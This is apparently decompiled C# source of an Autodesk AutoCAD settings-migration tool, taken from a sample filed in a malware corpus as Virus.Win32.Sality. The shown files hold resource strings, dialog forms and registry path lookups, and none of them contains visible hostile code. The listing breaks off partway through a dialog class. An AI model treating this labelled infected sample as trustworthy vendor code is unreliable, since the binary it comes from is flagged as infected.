MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/AdMigLibResources.resx

@@ -0,0 +1,352 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <data name="LOG_DEFAULT_CONFIG_CHANGE" xml:space="preserve">
+    <value>Default Printer Configuration set to "{0}"</value>
+  </data>
+  <data name="LOG_MIGRATE_FROM" xml:space="preserve">
+    <value>Settings migrated from:</value>
+  </data>
+  <data name="STATUS_MSG_FINISHED" xml:space="preserve">
+    <value>Migrator finished on {0}.</value>
+  </data>
+  <data name="DESC_MNS" xml:space="preserve">
+    <value>MNS</value>
+  </data>
+  <data name="DESC_CUI" xml:space="preserve">
+    <value>CUI</value>
+  </data>
+  <data name="PC3_FILES_DIR" xml:space="preserve">
+    <value>{0} PC3 Files</value>
+  </data>
+  <data name="LOG_HEADER1" xml:space="preserve">
+    <value>This log details the migration of settings from a previous version of {0}.  Any problems encountered during the migration are listed in this log.</value>
+  </data>
+  <data name="LOG_HEADER0" xml:space="preserve">
+    <value>{0} Migration Log
+Generated by: {0} Migrate Custom Settings version {3}
+Settings migrated from: {1}
+Migration template file: {4} version {5}
+Migration performed on: {2}</value>
+  </data>
+  <data name="LOG_HEADER2" xml:space="preserve">
+    <value>If you run into any problems with any of your migrated profiles, you can restore the default {0} profile state by setting the &lt;&lt;{0} {1}&gt;&gt; to current from the Profiles tab of the Options dialog box.</value>
+  </data>
+  <data name="LOG_ALT_FONT_CHANGE" xml:space="preserve">
+    <value>Alternate Font File set to "{0}"</value>
+  </data>
+  <data name="LOG_SUPPORT_PATH_CHANGE" xml:space="preserve">
+    <value>Support File Search Path set to "{0}"</value>
+  </data>
+  <data name="LOG_PS_FILE_CHANGE" xml:space="preserve">
+    <value>Print Spooler File Location set to "{0}"</value>
+  </data>
+  <data name="LOG_HEADER1_IMPORT" xml:space="preserve">
+    <value>This log details the import of settings to {0}.  Any problems encountered during the import are listed in this log.</value>
+  </data>
+  <data name="UNNAMED_PROFILE" xml:space="preserve">
+    <value>Unnamed Profile</value>
+  </data>
+  <data name="LOG_CUST_DICT_CHANGE" xml:space="preserve">
+    <value>Custom Dictionary set to "{0}"</value>
+  </data>
+  <data name="LOG_HELP_CHANGE" xml:space="preserve">
+    <value>Help File set to "{0}"</value>
+  </data>
+  <data name="LOG_HEADER1_EXPORT" xml:space="preserve">
+    <value>This log details the export of settings from {0}.  Any problems encountered during the export are listed in this log.</value>
+  </data>
+  <data name="LOG_TEMPLATE_PATH_CHANGE" xml:space="preserve">
+    <value>Drawing Template Path set to "{0}"</value>
+  </data>
+  <data name="LOG_INSTALL_DIR" xml:space="preserve">
+    <value>{0} Installation Folder = "{1}"</value>
+  </data>
+  <data name="LOG_NETLOCATION_CHANGE" xml:space="preserve">
+    <value>Default Internet Location set to "{0}"</value>
+  </data>
+  <data name="TOOLPALLETT_SUMMARY" xml:space="preserve">
+    <value>{0} Tool Palletts files copied from "{1}" to "{2}": {3}</value>
+  </data>
+  <data name="TEMPLATE_SUMMARY" xml:space="preserve">
+    <value>{0} Drawing Template files copied from "{1}" to "{2}": {3}</value>
+  </data>
+  <data name="DESC_Import" xml:space="preserve">
+    <value>Import</value>
+  </data>
+  <data name="LOG_LOG_FILE_CHANGE" xml:space="preserve">
+    <value>Log File Location set to "{0}"</value>
+  </data>
+  <data name="DESC_Profile" xml:space="preserve">
+    <value>Profile</value>
+  </data>
+  <data name="LOG_FONTMAP_FILE_CHANGE" xml:space="preserve">
+    <value>Font Mapping File set to "{0}"</value>
+  </data>
+  <data name="LOG_REGISTRY_NETWORK_PATH_CHGD" xml:space="preserve">
+    <value>The path {0} does not exist on the networked drive. The default path {1} will be used instead.</value>
+  </data>
+  <data name="COPY_SUMMARY" xml:space="preserve">
+    <value>File copied from "{0}" to "{1}"</value>
+  </data>
+  <data name="LOG_MIGRATE_TO" xml:space="preserve">
+    <value>Settings migrated to:</value>
+  </data>
+  <data name="LOG_MAIN_DICT_CHANGE" xml:space="preserve">
+    <value>Main Dictionary set to "{0}"</value>
+  </data>
+  <data name="SAVE_FILE_FORMAT" xml:space="preserve">
+    <value>Save File As format is no longer supported in this release. Set to {0} 2000.</value>
+  </data>
+  <data name="LOG_REGISTRY_INVALID_PATH_CHGD" xml:space="preserve">
+    <value>The path {0} is invalid. The default path {1} will be used instead.</value>
+  </data>
+  <data name="LOG_AVEMAPS_CHANGE" xml:space="preserve">
+    <value>Texture Maps Search Path set to "{0}"</value>
+  </data>
+  <data name="LOG_PROFILE_HEADER" xml:space="preserve">
+    <value>Migrating Profile: "{0}"</value>
+  </data>
+  <data name="LOG_REGISTRY_REMOVABLE_PATH_CHGD" xml:space="preserve">
+    <value>The path {0} is a removable device. The default path {1} will be used instead.</value>
+  </data>
+  <data name="LOG_QNEW_TEMPLATE_CHANGE" xml:space="preserve">
+    <value>Default Template File Name for QNET set to "{0}"</value>
+  </data>
+  <data name="DESC_PgpFile" xml:space="preserve">
+    <value>Pgp File</value>
+  </data>
+  <data name="LOG_PRINTER_CONFIG_CHANGE" xml:space="preserve">
+    <value>Printer Configuration Search Path set to "{0}", but you may need to modify various custom settings to get individual PC3 files working with {1}.</value>
+  </data>
+  <data name="PRINTERCONFIG_SUMMARY" xml:space="preserve">
+    <value>{0} Printer Configuration files copied from "{1}" to "{2}": {3}</value>
+  </data>
+  <data name="ERROR_SETTING_TO_DEFAULT" xml:space="preserve">
+    <value>Error encountered, resetting to default value: {0}</value>
+  </data>
+  <data name="LOG_PSOUT_CHANGE" xml:space="preserve">
+    <value>PostScript Prolog Section Name set to "{0}"</value>
+  </data>
+  <data name="UNNAMED_PROFILE_FULL_NAME" xml:space="preserve">
+    <value>&lt;&lt;Unnamed Profile&gt;&gt;</value>
+  </data>
+  <data name="LOG_REGISTRY_FAILED_CREATING_PATH_CHGD" xml:space="preserve">
+    <value>The path {0} does not exist and could not be created. The default path {1} will be used instead.</value>
+  </data>
+  <data name="ERROR_FILE_IO" xml:space="preserve">
+    <value>Error encountered migrating files: {0}</value>
+  </data>
+  <data name="LOG_REGTOOLS_PATH_CHANGE" xml:space="preserve">
+    <value>Registered Tools Location set to "{0}"</value>
+  </data>
+  <data name="LOG_ALLUSERSROOT_DIR" xml:space="preserve">
+    <value>{0} All Users Profile Root Folder = "{1}"</value>
+  </data>
+  <data name="LOG_TEXT_EDITOR_CHANGE" xml:space="preserve">
+    <value>Text Editor set to "{0}"</value>
+  </data>
+  <data name="PLOTSTYLE_SUMMARY" xml:space="preserve">
+    <value>{0} Plot Style Table files copied from {1} to {2}: {3}</value>
+  </data>
+  <data name="ERROR_PROFILE_NF" xml:space="preserve">
+    <value>ERROR: Application Profile for {0} not found in {1}.</value>
+  </data>
+  <data name="DESC_General" xml:space="preserve">
+    <value>General</value>
+  </data>
+  <data name="LOG_LOCALROOT_DIR" xml:space="preserve">
+    <value>{0} Local Profile Root Folder = "{1}"</value>
+  </data>
+  <data name="LOG_REGISTRY_LOCAL_PATH_CHGD" xml:space="preserve">
+    <value>The path {0} does not exist and could not be created. The default path {1} will be used instead.</value>
+  </data>
+  <data name="LOG_IDROP_LOCATION_CHANGE" xml:space="preserve">
+    <value>iDrop Associated File Location set to "{0}"</value>
+  </data>
+  <data name="LOG_TEMP_LOCATION_CHANGE" xml:space="preserve">
+    <value>Temporary Drawing File Location set to "{0}"</value>
+  </data>
+  <data name="DESC_UserHatchFile" xml:space="preserve">
+    <value>User Hatch File</value>
+  </data>
+  <data name="PRINTER_SUMMARY" xml:space="preserve">
+    <value>{0} Printer Description files copied from "{1}" to "{2}": {3}</value>
+  </data>
+  <data name="LOG_PLOTTO_FILE_CHANGE" xml:space="preserve">
+    <value>Plot File for Legacy Plotting Scripts set to "{0}"</value>
+  </data>
+  <data name="DESC_HatchFile" xml:space="preserve">
+    <value>Hatch File</value>
+  </data>
+  <data name="LOG_XREFLOAD_PATH_CHANGE" xml:space="preserve">
+    <value>Temporary External Reference File Location set to "{0}"</value>
+  </data>
+  <data name="LOG_PRINTER_DESC_CHANGE" xml:space="preserve">
+    <value>Printer Description File Search Path set to "{0}"</value>
+  </data>
+  <data name="TEXTUREMAP_SUMMARY" xml:space="preserve">
+    <value>{0} Texture Map files copied from "{1}" to "{2}": {3}</value>
+  </data>
+  <data name="LOG_SAVEFILE_PATH_CHANGE" xml:space="preserve">
+    <value>Automatic Save File Location set to "{0}"</value>
+  </data>
+  <data name="STATUS_LOADING_FROM" xml:space="preserve">
+    <value>Loading Migration Profiles from {0}.</value>
+  </data>
+  <data name="LOG_TOOL_PALLETTE_CHANGE" xml:space="preserve">
+    <value>Tool Pallets File Location set to "{0}"</value>
+  </data>
+  <data name="LOG_DB_PATH_CHANGE" xml:space="preserve">
+    <value>Data Sources Location set to "{0}"</value>
+  </data>
+  <data name="LOG_PROJECT_PATH_CHANGE" xml:space="preserve">
+    <value>Project Files Searth Path set to "{0}"</value>
+  </data>
+  <data name="LOG_COLOR_BOOK_CHANGE" xml:space="preserve">
+    <value>Color Book Location set to "{0}"</value>
+  </data>
+  <data name="DESC_LineFile" xml:space="preserve">
+    <value>Line File</value>
+  </data>
+  <data name="LOG_ROAMABLEROOT_DIR" xml:space="preserve">
+    <value>{0} Roamable Profile Root Folder = "{1}"</value>
+  </data>
+  <data name="DESC_Image" xml:space="preserve">
+    <value>Image</value>
+  </data>
+  <data name="ADD_PLOT_STYLE_LNK" xml:space="preserve">
+    <value>Add-A-Plot Style Table Wizard</value>
+  </data>
+  <data name="LOG_DRIVER_PATH_CHANGE" xml:space="preserve">
+    <value>Device Driver File Searth Path set to "{0}"</value>
+  </data>
+  <data name="DESC_UserLineFile" xml:space="preserve">
+    <value>User Line File</value>
+  </data>
+  <data name="LOG_PLOT_STYLE_CHANGE" xml:space="preserve">
+    <value>Plot Style Table Search Path set to "{0}"</value>
+  </data>
+  <data name="STATUS_BACKUP" xml:space="preserve">
+    <value>Creating backup of &lt;&lt;{0}&gt;&gt; to &lt;&lt;{1} {2}&gt;&gt;.</value>
+  </data>
+  <data name="ERROR_XML_SYNTAX_ERROR" xml:space="preserve">
+    <value>XML Error encountered in {0}: {1}.</value>
+  </data>
+</root>

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/AssemblyInfo.cs

@@ -0,0 +1,6 @@
+using System.Reflection;
+
+[assembly: AssemblyConfiguration("Production")]
+[assembly: AssemblyTitle("Migration Executable")]
+[assembly: AssemblyDescription("Migration of custom settings and files")]
+[assembly: AssemblyVersion("18.0.0.0")]

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CUIFileMap.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.CUIFileMap
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  public class CUIFileMap
+  {
+    private string _sourceFileName;
+    private string _sourceMenuGroupName;
+    private string _sourceMacroGroupName;
+    private string _targetFileName;
+    private string _targetMenuGroupName;
+    private string _targetMacroGroupName;
+
+    public string SourceFileName => this._sourceFileName;
+
+    public string SourceMenuGroupName => this._sourceMenuGroupName;
+
+    public string SourceMacroGroupName => this._sourceMacroGroupName;
+
+    public string TargetFileName => this._targetFileName;
+
+    public string TargetMenuGroupName => this._targetMenuGroupName;
+
+    public string TargetMacroGroupName => this._targetMacroGroupName;
+
+    public CUIFileMap(
+      string sourceFileName,
+      string sourceMenuGroupName,
+      string sourceMacroGroupName,
+      string targetFileName,
+      string targetMenuGroupName,
+      string targetMacroGroupName)
+    {
+      this._sourceFileName = sourceFileName;
+      this._sourceMenuGroupName = sourceMenuGroupName;
+      this._sourceMacroGroupName = sourceMacroGroupName;
+      this._targetFileName = targetFileName;
+      this._targetMenuGroupName = targetMenuGroupName;
+      this._targetMacroGroupName = targetMacroGroupName;
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CustElementLocation.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.CustElementLocation
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using Autodesk.AutoCAD.Customization;
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  internal class CustElementLocation
+  {
+    public CustomizationElement CustElement;
+    public CustomizationElement insertAfter;
+    public int offset;
+
+    public CustElementLocation(CustomizationElement CEin)
+    {
+      this.CustElement = CEin;
+      this.insertAfter = (CustomizationElement) null;
+      this.offset = 0;
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CustomizationHostServices.cs

@@ -0,0 +1,101 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.CustomizationHostServices
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using Autodesk.AutoCAD.Customization;
+using Autodesk.AutoCAD.CustomMigrator;
+using Microsoft.Win32;
+using System;
+using System.Collections;
+using System.Drawing;
+using System.IO;
+using System.Windows.Forms;
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  public class CustomizationHostServices : IHostServices
+  {
+    private string _regProdRootKey;
+    private string _enterpriseCUI;
+    private string _mainCUI;
+
+    internal string RegProdRootKey
+    {
+      get => this._regProdRootKey;
+      set => this._regProdRootKey = value;
+    }
+
+    internal string EnterpriseCuiFile
+    {
+      get => this._enterpriseCUI;
+      set => this._enterpriseCUI = value;
+    }
+
+    internal string MainCuiFile
+    {
+      get => this._mainCUI;
+      set => this._mainCUI = value;
+    }
+
+    public string GetDieselEvalString(string dieselExpression) => dieselExpression;
+
+    public string RegistryProductRootKey() => this.RegProdRootKey;
+
+    public void DisplayMessage(string message, string title)
+    {
+      int num = (int) MessageBox.Show(message, title);
+    }
+
+    public void WriteMessage(string message) => MainForm.Log2File(message);
+
+    public int QueryMode() => 0;
+
+    public bool IsOEM() => false;
+
+    public string FindFile(string fileName)
+    {
+      string file = (string) null;
+      string str = MainForm.isTarget ? MainForm.CurrentTargetProfilePath : MainForm.CurrentSourceProfilePath;
+      try
+      {
+        file = str == null ? Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, fileName, this.RegProdRootKey) : Migrator.FindFirstProfileSupportFile(MainForm.isACAD, fileName, str);
+        if (string.IsNullOrEmpty(file))
+        {
+          RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Migrator.StripWOWFromCURegKey(str) + "\\General Configuration");
+          string path1 = registryKey.GetValue("IconFilePath") as string;
+          registryKey.Close();
+          if (string.IsNullOrEmpty(path1) && MainForm._theForm._Migrator.SourceProdInfo != null)
+            path1 = Path.Combine(Migrator.GetRoamableRootFolder(MainForm.isTarget ? MainForm._theForm.ProductRegistryRootKey : MainForm._theForm._Migrator.SourceProdInfo.m_regRootKey), "support\\icons");
+          if (!string.IsNullOrEmpty(path1))
+          {
+            string path = Path.Combine(path1, fileName);
+            if (File.Exists(path))
+              file = path;
+          }
+        }
+      }
+      catch (Exception ex)
+      {
+      }
+      return file;
+    }
+
+    public CustomizationSection EnterpriseCUIFile() => (CustomizationSection) null;
+
+    public CustomizationSection MainCUIFile() => (CustomizationSection) null;
+
+    public void InsertMenuOnMenuBar(string menuGroupName, string alias)
+    {
+    }
+
+    public ArrayList GetLoadedMenuGroupNames() => new ArrayList();
+
+    public void GeneratePropertyCollection(ObjectType ot)
+    {
+    }
+
+    public Bitmap GetCachedImage(string imageId, bool return_null) => (Bitmap) null;
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/DisposableContainer.cs

@@ -0,0 +1,30 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.DisposableContainer
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using System;
+using System.Collections.Generic;
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  internal class DisposableContainer : IDisposable
+  {
+    private IList<IDisposable> m_objectList = (IList<IDisposable>) new List<IDisposable>();
+
+    internal void AddDisposableObject(IDisposable disposable)
+    {
+      if (disposable == null || this.m_objectList.Contains(disposable))
+        return;
+      this.m_objectList.Add(disposable);
+    }
+
+    public void Dispose()
+    {
+      foreach (IDisposable disposable in (IEnumerable<IDisposable>) this.m_objectList)
+        disposable.Dispose();
+      this.m_objectList.Clear();
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ExportDialog.cs

@@ -0,0 +1,113 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.ExportDialog
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using System;
+using System.ComponentModel;
+using System.Reflection;
+using System.Windows.Forms;
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  public class ExportDialog : Form
+  {
+    private bool m_includeNetworkedFiles = true;
+    private MainForm parent;
+    private IContainer components;
+    private Button btnExport;
+    private Button btnCancel;
+    private Button btnHelp;
+    private CheckBox cbIncNetFiles;
+    private Label ExportBodyLabel;
+    private BindingSource exportDialogBindingSource;
+
+    public bool IncludeNetworkedFiles => this.m_includeNetworkedFiles;
+
+    public ExportDialog(MainForm mf)
+    {
+      this.parent = mf;
+      this.InitializeComponent();
+    }
+
+    public Label BodyMessage => this.ExportBodyLabel;
+
+    private void cbIncNetFiles_CheckedChanged(object sender, EventArgs e) => this.m_includeNetworkedFiles = this.cbIncNetFiles.Checked;
+
+    private void btnHelp_Click(object sender, EventArgs e)
+    {
+      string location = Assembly.GetEntryAssembly().Location;
+      string str = (MainForm.isACAD ? "acad" : "acadlt") + "_sig.chm";
+      string url = location.Substring(0, location.LastIndexOf("\\") + 1) + "help\\" + str;
+      string parameter = "adExpCustSettings.htm";
+      if (MainForm.m_isVertMigration)
+        this.parent.CallVerticalMigration("VerticalHelp", new object[3]
+        {
+          (object) this,
+          (object) url,
+          (object) parameter
+        });
+      else
+        Help.ShowHelp((Control) this, url, HelpNavigator.Topic, (object) parameter);
+    }
+
+    protected override void Dispose(bool disposing)
+    {
+      if (disposing && this.components != null)
+        this.components.Dispose();
+      base.Dispose(disposing);
+    }
+
+    private void InitializeComponent()
+    {
+      this.components = (IContainer) new Container();
+      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ExportDialog));
+      this.btnExport = new Button();
+      this.btnCancel = new Button();
+      this.btnHelp = new Button();
+      this.cbIncNetFiles = new CheckBox();
+      this.ExportBodyLabel = new Label();
+      this.exportDialogBindingSource = new BindingSource(this.components);
+      ((ISupportInitialize) this.exportDialogBindingSource).BeginInit();
+      this.SuspendLayout();
+      componentResourceManager.ApplyResources((object) this.btnExport, "btnExport");
+      this.btnExport.DialogResult = DialogResult.OK;
+      this.btnExport.Name = "btnExport";
+      this.btnExport.UseVisualStyleBackColor = true;
+      componentResourceManager.ApplyResources((object) this.btnCancel, "btnCancel");
+      this.btnCancel.DialogResult = DialogResult.Cancel;
+      this.btnCancel.Name = "btnCancel";
+      this.btnCancel.UseVisualStyleBackColor = true;
+      componentResourceManager.ApplyResources((object) this.btnHelp, "btnHelp");
+      this.btnHelp.Name = "btnHelp";
+      this.btnHelp.UseVisualStyleBackColor = true;
+      this.btnHelp.Click += new EventHandler(this.btnHelp_Click);
+      componentResourceManager.ApplyResources((object) this.cbIncNetFiles, "cbIncNetFiles");
+      this.cbIncNetFiles.Checked = true;
+      this.cbIncNetFiles.CheckState = CheckState.Checked;
+      this.cbIncNetFiles.Name = "cbIncNetFiles";
+      this.cbIncNetFiles.UseVisualStyleBackColor = true;
+      this.cbIncNetFiles.CheckedChanged += new EventHandler(this.cbIncNetFiles_CheckedChanged);
+      componentResourceManager.ApplyResources((object) this.ExportBodyLabel, "ExportBodyLabel");
+      this.ExportBodyLabel.Name = "ExportBodyLabel";
+      this.ExportBodyLabel.UseCompatibleTextRendering = true;
+      this.exportDialogBindingSource.DataSource = (object) typeof (ExportDialog);
+      componentResourceManager.ApplyResources((object) this, "$this");
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.Controls.Add((Control) this.ExportBodyLabel);
+      this.Controls.Add((Control) this.cbIncNetFiles);
+      this.Controls.Add((Control) this.btnHelp);
+      this.Controls.Add((Control) this.btnCancel);
+      this.Controls.Add((Control) this.btnExport);
+      this.FormBorderStyle = FormBorderStyle.Fixed3D;
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (ExportDialog);
+      this.SizeGripStyle = SizeGripStyle.Hide;
+      ((ISupportInitialize) this.exportDialogBindingSource).EndInit();
+      this.ResumeLayout(false);
+      this.PerformLayout();
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ImportDialog.cs

@@ -0,0 +1,79 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.ImportDialog
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using System.ComponentModel;
+using System.Drawing;
+using System.Windows.Forms;
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  public class ImportDialog : Form
+  {
+    private IContainer components;
+    private Button btnOK;
+    private Label lblSuccess;
+    private Label lblLog;
+    private CheckBox chkBxViewLog;
+
+    public ImportDialog() => this.InitializeComponent();
+
+    public string successMsg
+    {
+      get => this.lblSuccess.Text;
+      set => this.lblSuccess.Text = value;
+    }
+
+    public string labelLogText
+    {
+      get => this.lblLog.Text;
+      set => this.lblLog.Text = value;
+    }
+
+    public bool displayLog => this.chkBxViewLog.Checked;
+
+    protected override void Dispose(bool disposing)
+    {
+      if (disposing && this.components != null)
+        this.components.Dispose();
+      base.Dispose(disposing);
+    }
+
+    private void InitializeComponent()
+    {
+      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ImportDialog));
+      this.btnOK = new Button();
+      this.lblSuccess = new Label();
+      this.lblLog = new Label();
+      this.chkBxViewLog = new CheckBox();
+      this.SuspendLayout();
+      componentResourceManager.ApplyResources((object) this.btnOK, "btnOK");
+      this.btnOK.DialogResult = DialogResult.OK;
+      this.btnOK.MinimumSize = new Size(75, 23);
+      this.btnOK.Name = "btnOK";
+      this.btnOK.UseVisualStyleBackColor = true;
+      componentResourceManager.ApplyResources((object) this.lblSuccess, "lblSuccess");
+      this.lblSuccess.Name = "lblSuccess";
+      componentResourceManager.ApplyResources((object) this.lblLog, "lblLog");
+      this.lblLog.MaximumSize = new Size(600, 0);
+      this.lblLog.Name = "lblLog";
+      componentResourceManager.ApplyResources((object) this.chkBxViewLog, "chkBxViewLog");
+      this.chkBxViewLog.Checked = true;
+      this.chkBxViewLog.CheckState = CheckState.Checked;
+      this.chkBxViewLog.Name = "chkBxViewLog";
+      this.chkBxViewLog.UseVisualStyleBackColor = true;
+      this.AcceptButton = (IButtonControl) this.btnOK;
+      componentResourceManager.ApplyResources((object) this, "$this");
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.Controls.Add((Control) this.chkBxViewLog);
+      this.Controls.Add((Control) this.lblLog);
+      this.Controls.Add((Control) this.lblSuccess);
